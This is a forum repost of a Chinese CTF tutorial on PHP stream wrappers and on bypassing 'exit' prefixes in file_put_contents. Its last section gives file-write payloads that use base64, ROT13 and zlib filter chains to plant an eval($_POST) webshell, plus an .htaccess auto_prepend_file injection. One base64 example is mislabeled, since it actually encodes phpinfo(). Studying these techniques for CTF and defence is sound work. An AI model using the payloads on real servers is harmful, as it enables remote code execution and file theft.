李海滨 發表於 2025-4-15 02:32:00

PHP伪协议

<h1 id="php伪协议及死亡绕过">PHP伪协议及死亡绕过</h1>
<h2 id="定义">定义</h2>
<p>PHP伪协议(PHP Wrappers)是一种PHP提供的特殊协议或方案,允许程序通过不同的“协议”或“方案”来访问不同类型的数据资源。这些伪协议通常在文件操作或流处理时使用,可以用于访问远程文件、数据或本地文件,甚至是某些PHP函数内部的特定处理。PHP伪协议可以让你通过特定的URL结构或数据流方式与文件进行交互。</p>
<p>简单理解就是通过不同的前缀来让php执行不同方式的代码</p>
<h2 id="常见php伪协议类型">常见php伪协议类型</h2>
<blockquote>
<p>file:// — 通过URL访问本地文件系统</p>
<p>http:// — 访问 HTTP(s) 网址,读取远程网站的数据</p>
<p>https:// — 访问 HTTP(s) 网址,读取远程网站的数据</p>
<p>ftp:// — 访问 FTP(s) URLs ,通过FTP协议与远程服务器进行交互,读取或者上传文件</p>
<p>php:// — 访问各个输入/输出流(I/O streams)</p>
<p>zip:// — 压缩流 ,用于处理zip文件中的文件,支持读取解压修改文件</p>
<p>data:// — 数据(RFC 2397),允许数据以URL的编码的方式嵌入到请求中。它可以在不涉及文件系统的情况下处理数据</p>
<p>glob:// — 查找匹配的文件路径模式</p>
<p>phar:// — PHP 归档 ,将多个PHP文件打包成一个文件的格式,类似于 tar,zip,可以用来访问php归档文件中的文件和资源</p>
<p>ssh2:// — Secure Shell 2</p>
<p>rar:// — RAR</p>
<p>ogg:// — 音频流</p>
<p>expect:// — 处理交互式的流</p>
</blockquote>
<h2 id="详细解读">详细解读</h2>
<h3 id="file协议">file://协议</h3>
<ol>
<li>
<p>file://协议的基本格式</p>
<pre><code class="language-php">file:///path/to/file
</code></pre>
<blockquote>
<ul>
<li>file://是协议头,表示file协议</li>
<li>表示要访问的主机,通常为空(省略)或者localhost表示本地的文件系统。但是如果需要访问远程主机的文件系统,则需要指定主机名</li>
<li>/path/to/file表示文件的绝对路径或者相对路径</li>
</ul>
</blockquote>
</li>
<li>
<p>工作原理:</p>
<p>主要通过访问文件系统中的资源。并不会通过网络协议,它是直接与操作系统来进行交互进而进行文件的读取或者文件的查询</p>
</li>
<li>
<p>举例:</p>
<p>访问本地文件:<code>file:///C:/Users/21690/a5trid.txt(</code>这里注意是正斜杠)</p>
</li>
<li>
<p>实际比赛中:</p>
<blockquote>
<ul>
<li>文件包含漏洞:file://协议可以直接访问服务器的文件系统,当下恒旭没有进行严格过滤的时候,既可以利用这个协议访问文件</li>
<li>目录穿越漏洞:当可以输入类似 <code>../../</code> 的路径,就结合 <code>file://</code> 协议,就可以进行一些文件的读取</li>
<li>与其他协议相结合,从而扩大攻击,如<code>file://php://filter/read=convert.base64-encode/resource=flag</code>,这条指令会使用php的过滤器功能,将flag文件内容以base64编码形式读取</li>
</ul>
</blockquote>
</li>
<li>
<p>防范:</p>
<ul>
<li>可以对用户输入进行严格验证,让其只被允许访问合法的文件</li>
<li>禁止使用危险函数( 例如PHP 中的 <code>file_get_contents</code> 或 <code>include</code>)</li>
<li>设置基目录限制(如 PHP 的 <code>open_basedir</code> 配置)。</li>
</ul>
</li>
<li>
<p>备注:由于是在本地读取文件,所以不受allow_url_fopen与allow_url_include的影响,可以在双off的情况下正常使用</p>
</li>
</ol>
<h3 id="php伪协议">php://伪协议</h3>
<h4 id="输入流">输入流</h4>
<h5 id="phpinput">php://input</h5>
<ol>
<li>
<p>是 PHP 中的一个输入流,属于 <code>php://</code> 伪协议的一部分。它用于直接获取 HTTP 请求体的原始数据,但是不会受到 PHP 的自动解析处理(例如表单数据解析)。这是处理复杂或非标准请求数据的一种强大工具,特别是在接受 JSON、XML 或其他自定义格式的数据时。</p>
</li>
<li>
<p>特点:</p>
<blockquote>
<ul>
<li>
<p>原始数据访问:</p>
<p>允许开发者直接获取未经解析的原始HTTP请求体</p>
<p>数据不会经过PHP的psot和get的自动处理</p>
</li>
<li>
<p>只读流:</p>
<p>只能用来读取数据,不能用来进行写操作</p>
<p>数据只能读一次</p>
</li>
<li>
<p>支持的请求方法:</p>
<p>主要用于post,put,patch和其他带有请求体的http方法</p>
<p>对于get和其他无请求体的方法,会返回空字符</p>
</li>
</ul>
</blockquote>
</li>
<li>
<p>当传进去的参数作为文件名变量去打开文件时,可以将参数file传参为php://input,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取。</p>
<p><img src="https://astrid.oss-cn-chengdu.aliyuncs.com/Polar1/20250111190510369.png" alt="image-20250111165731515" loading="lazy"></p>
</li>
</ol>
<h5 id="phpstdin">php://stdin</h5>
<ol>
<li>允许 PHP 从标准输入流读取数据,类似于 Unix 系统中的输入流。标准输入通常指的是用户在控制台中键入的内容。在命令行模式下,使用 <code>php://stdin</code> 可以读取用户的输入。在 Web 环境中,,但它仍然可以通过一些特殊手段绕过常规的输入方式。</li>
<li>工作原理:<code>php://stdin</code> 作为流式协议,允许 PHP 直接读取命令行或脚本的输入。它类似于 <code>php://input</code>,但 <code>php://input</code> 用于读取 HTTP 请求体,而 <code>php://stdin</code> 读取的是标准输入流中的数据。</li>
</ol>
<h4 id="输出流">输出流</h4>
<h5 id="phpoutput">php://output</h5>
<ol>
<li>是一个流协议,它允许开发者直接向HTTP响应包输出内容,主要作用是输出数据到浏览器客户端</li>
<li>与echo的不同,可以通过流的方式控制输出,而不需要立即将内容打印到浏览器</li>
</ol>
<h5 id="phpstderr">php://stderr</h5>
<ol>
<li>是 PHP 中的一个流协议,用于向标准错误流 (stderr) 输出数据。它是与 <code>php://stdout</code>(标准输出流)类似的流,只不过 <code>stderr</code> 是专门用于输出错误信息的流。通过这个协议,可以通过向控制台或日志系统输出错误信息,而不是将错误信息直接显示在web上</li>
<li>与<code>php://stdout</code>(标准输出流)相比较,它主要用于日志记录和错误处理,可以提高错误处理的效率。</li>
</ol>
<h4 id="过滤器流">过滤器流</h4>
<h5 id="phpfilter">php://filter</h5>
<ol>
<li>
<p><code>php://filter</code> 是 PHP 提供的一个特殊流协议,通过这个协议,可以对文件内容进行过滤,转换或者解码操作,并且不用对文件本身进行直接修改。</p>
</li>
<li>
<p>过滤器是PHP中用于处理流内容的机制,php中提供了很多内置的过滤器,可以对中流的数据进行各种处理,比如加密解密,编码解码等。<code>php://filter</code> 允许通过指定不同的过滤器链对文件内容进行处理。</p>
</li>
<li>
<blockquote>
<p>常见的php过滤器有</p>
<ol>
<li>
<p>字符串过滤器(String Filters)</p>
<ul>
<li>
<p>string.rot13</p>
<p>string.rot13对字符串进行ROT13编码或者解码,ROT13是一种简单的加密方法,通过将字母表中的字母轮换十三个位置进行加密数据,(字母表有二十六个字母,进行两次ROT13编码的内容会恢复原样)</p>
<p>举例<code>php://filter/read=string.rot13/resource=flag.php</code>(<strong>注</strong>:这里read=可以不写,不写默认是只读,写的话就说明只能是可读方式)</p>
<p>php://filter是php的流过滤器协议</p>
<p>read=string.rot13表示对文件内容进行ROT13编码</p>
<p>resource=flag是要读取的文件</p>
</li>
<li>
<p>string.toupper</p>
<p>string.toupper将文件内容转换为大写</p>
<p>举例<code>php://filter/read=string.toupper/resource=flag.php</code></p>
</li>
<li>
<p>string.tolower</p>
<p>string.tolower将文件内容转换为小写,不会影响非字母字符</p>
<p>举例<code>php//filter/read=string.tolower/resource=flag.php</code></p>
</li>
<li>
<p>string.strip_tags</p>
<p>string.strip_tags主要作用是去除字符中的html和php标签,常常用于从用户输入或网页内容中去除潜在的恶意代码,以增强安全性,尤其是在处理不可信的用户输入时(通常用于防止xss)</p>
<p>举例<code>php://filter/read=string.strip_tags/resource=flag</code></p>
</li>
</ul>
</li>
<li>
<p>转换过滤器(Conversion Filters)</p>
<ul>
<li>
<p>convert.base64-encode</p>
<p>convert.base64-encode将文件内容进行base64编码</p>
<p>举例<code>php://filter/convert.base64-encode/resource=flag.php</code></p>
</li>
<li>
<p>convert.base64-decode</p>
<p>convert.base64-encode将文件内容进行base64解码</p>
<p>举例<code>php://filter/convert.base64-decode/resource=flag.php</code></p>
</li>
<li>
<p>convert.quoted-printable-encode</p>
<p>convert.quoted-printable-encode就在文件内容末尾加了个=0A</p>
<p>举例<code>php://filter/convert.quoted-printable-encode/resource=flag.php</code></p>
</li>
<li>
<p>convert.quoted-printable-decode</p>
<p>convert.quoted-printable-decode就在文件内容末尾将之前加密的=0A去掉</p>
<p>举例<code>php://filter/convert.quoted-printable-decode/resource=flag.php</code></p>
</li>
</ul>
</li>
<li>
<p>压缩过滤器</p>
<ul>
<li>
<p>zlib.deflate</p>
<p>zlib.deflate过滤器将流数据(例如文件、网络请求体等)使用 Deflate 算法进行压缩。</p>
<p>举例<code>php://filter/zlib.deflate/resource=flag.php</code></p>
</li>
<li>
<p>zlib.inflate</p>
<p>zlib.inflate将输入数据流中的压缩内容解压,恢复成原始数据。</p>
<p>举例<code>php://filter/zlib.deflate|zlib.inflate/resource=flag.php</code>(压缩之后再解压)</p>
</li>
</ul>
</li>
<li>
<p>加密过滤器</p>
</li>
</ol>
</blockquote>
</li>
</ol>
<h4 id="内存和临时文件">内存和临时文件</h4>
<h5 id="phpmemory">php://memory</h5>
<ol>
<li>php://memory 是 PHP 中的一种流过滤器,它允许你操作一个内存中的虚拟文件,并且的数据直接存储在内存中,而不是临时文件。</li>
<li>特点:性能高效(内存操作远快于磁盘操作,因为数据存储在内存中),数据具有临时性(内存流的数据会在脚本执行完后丢失,因为他实在存储在内存中并没有持久化到磁盘)</li>
</ol>
<h5 id="phptemp">php://temp</h5>
<ol>
<li>php://temp是php中内置的流协议,表示一个临时文件流。数据会先保存在内存中,直到超出内存限制(通常为 2 MB)后会自动切换到磁盘。</li>
<li>特点:内存加磁盘存储(最开始在内存中,超出内存限制的时候切换到磁盘)临时性(可以用于临时存储文件数据,脚本结束后数据丢失)高效性(数据较小的时候,因为是内存存储,所以访问速度很快,数据较大的时候转移到磁盘上,避免内存溢出的风险)</li>
</ol>
<h4 id="伪文件流">伪文件流</h4>
<h5 id="phpfd">php://fd</h5>
<ol>
<li>PHP 的一种特殊流协议,它用于直接与操作系统中的文件描述符交互。文件描述符在操作系统中表示一个打开的文件、套接字、设备或者其他资源的标识符。</li>
<li>文件描述符在操作系统中可以标识为打开文件或者设备的整数值。当程序打开一个文件的时候,操作系统会给他分配一个文件描述符,从而够程序后续的读写操作。</li>
</ol>
<h2 id="关于exit死亡绕过">关于exit死亡绕过</h2>
<p>对于file_put_content()函数,主要有三种形式</p>
<p>原理:将死亡部分的代码解析成php无法识别的代码</p>
<h3 id="第一种">第一种:</h3>
<pre><code class="language-php">file_put_contents($filename , "&lt;?php exit();".$content);
</code></pre>
<p>filename控制文件名,content则控制文件内容</p>
<h4 id="方法一">方法一:</h4>
<p>base64编码</p>
<p>当使用php://filter伪协议,会按照设置的解码方式将content进行解码之后再写入协议内</p>
<p>举例:</p>
<pre><code class="language-php">filename=php://filter/convert.base64-decode/resource=a.php
content=aPD9waHAgcGhwaW5mbygpOz8+
//这个是&lt;?=@eval($_POST);?&gt;的base64编码之后
</code></pre>
<p>补充:</p>
<p><code>&lt;?=@eval($_POST);?&gt;</code>的base64编码其实是PD9waHAgcGhwaW5mbygpOz8+,这里在前面补充一个a,是因为base64解码不会将那些特殊字符解码,只能读phpexit这七个字节,但是base64解码是将四个字节转换成三个字节,所以为了能成功解码,需要随便加以为base64的可打印字符,不一定是a,但是需要可打印</p>
<h4 id="方法二">方法二:</h4>
<p>ROT13编码</p>
<p>当使用php://filter伪协议,会按照设置的解码方式将content进行解码之后再写入协议内</p>
<p>举例:</p>
<pre><code class="language-php">filename=php://filter/string.rot13/resource=a.php
content=&lt;?=@riny($_CBFG);?&gt;
//这个是&lt;?=@eval($_POST);?&gt;的rot13编码
</code></pre>
<p>补充:</p>
<p>ROT13加密是一种常见的加密方式,是凯撒加密的变种,主要用于字母字符的加密,它会将每个字母替换为它在字母表中前进或后退13个位置的字符来实现加密。</p>
<p>它是一种堆成的加密方法,当对同一段文本进行两次加密的时候,会还原成原始文本。因为字母表有26个字母,所以经过两次旋转会还原。</p>
<h4 id="方法三">方法三:</h4>
<p>.htaccess的预包含利用</p>
<p><code>string.strip_tags</code>主要作用是去除字符中的html和php标签,尝试返回给定的字符串str去除掉空字符和html和php标记后的结果</p>
<p>可以利用这个 <code>string.strip_tags</code>过滤器去除.htaccess内容中的html和php标签,从而消除死亡函数</p>
<p>content闭合死亡代码使其完全消除</p>
<pre><code class="language-php">filename=php://filter/write=string.strip_tags/resource=.htaccess
content=?&gt;php_value auto_prepend_file E:\\web\\flagg
</code></pre>
<p>注意:路径需要两个反斜杠<code>\\</code></p>
<p>这种方法需要知道文件的位置和文件名称(一般都在当前目录或者根目录下)</p>
<p>string.strip_tags只能在php5中使用,其他高版本的php中可能发生错误</p>
<h4 id="方法四">方法四:</h4>
<p>过滤器组合法</p>
<pre><code class="language-php">filename=php://filter/string.strip_tags|convert.base64-decode/resource=flag.php
content=?&gt;PD9waHAgcGhwaW5mbygpOz8+
</code></pre>
<p>通过过滤器嵌套进行过滤,从而达到代码的更迭</p>
<p>缺点:在php7.3.0以上的版本中会报错,但是低版本则不受影响</p>
<p>解决方法:在高版本的php中(php7),可以使用三个过滤器,先进行压缩,然后再去转小写,然后再解压,这样可以是部分死亡代码失效</p>
<pre><code class="language-php">filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=a.php
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?&gt;&lt;?=@eval($_POST);?&gt;/resource=a.php
</code></pre>
<p>让死亡代码不能正常被读取,然后传入木马</p><br><br>
来源:https://www.cnblogs.com/a5trid/p/18826001
頁: [1]
查看完整版本: PHP伪协议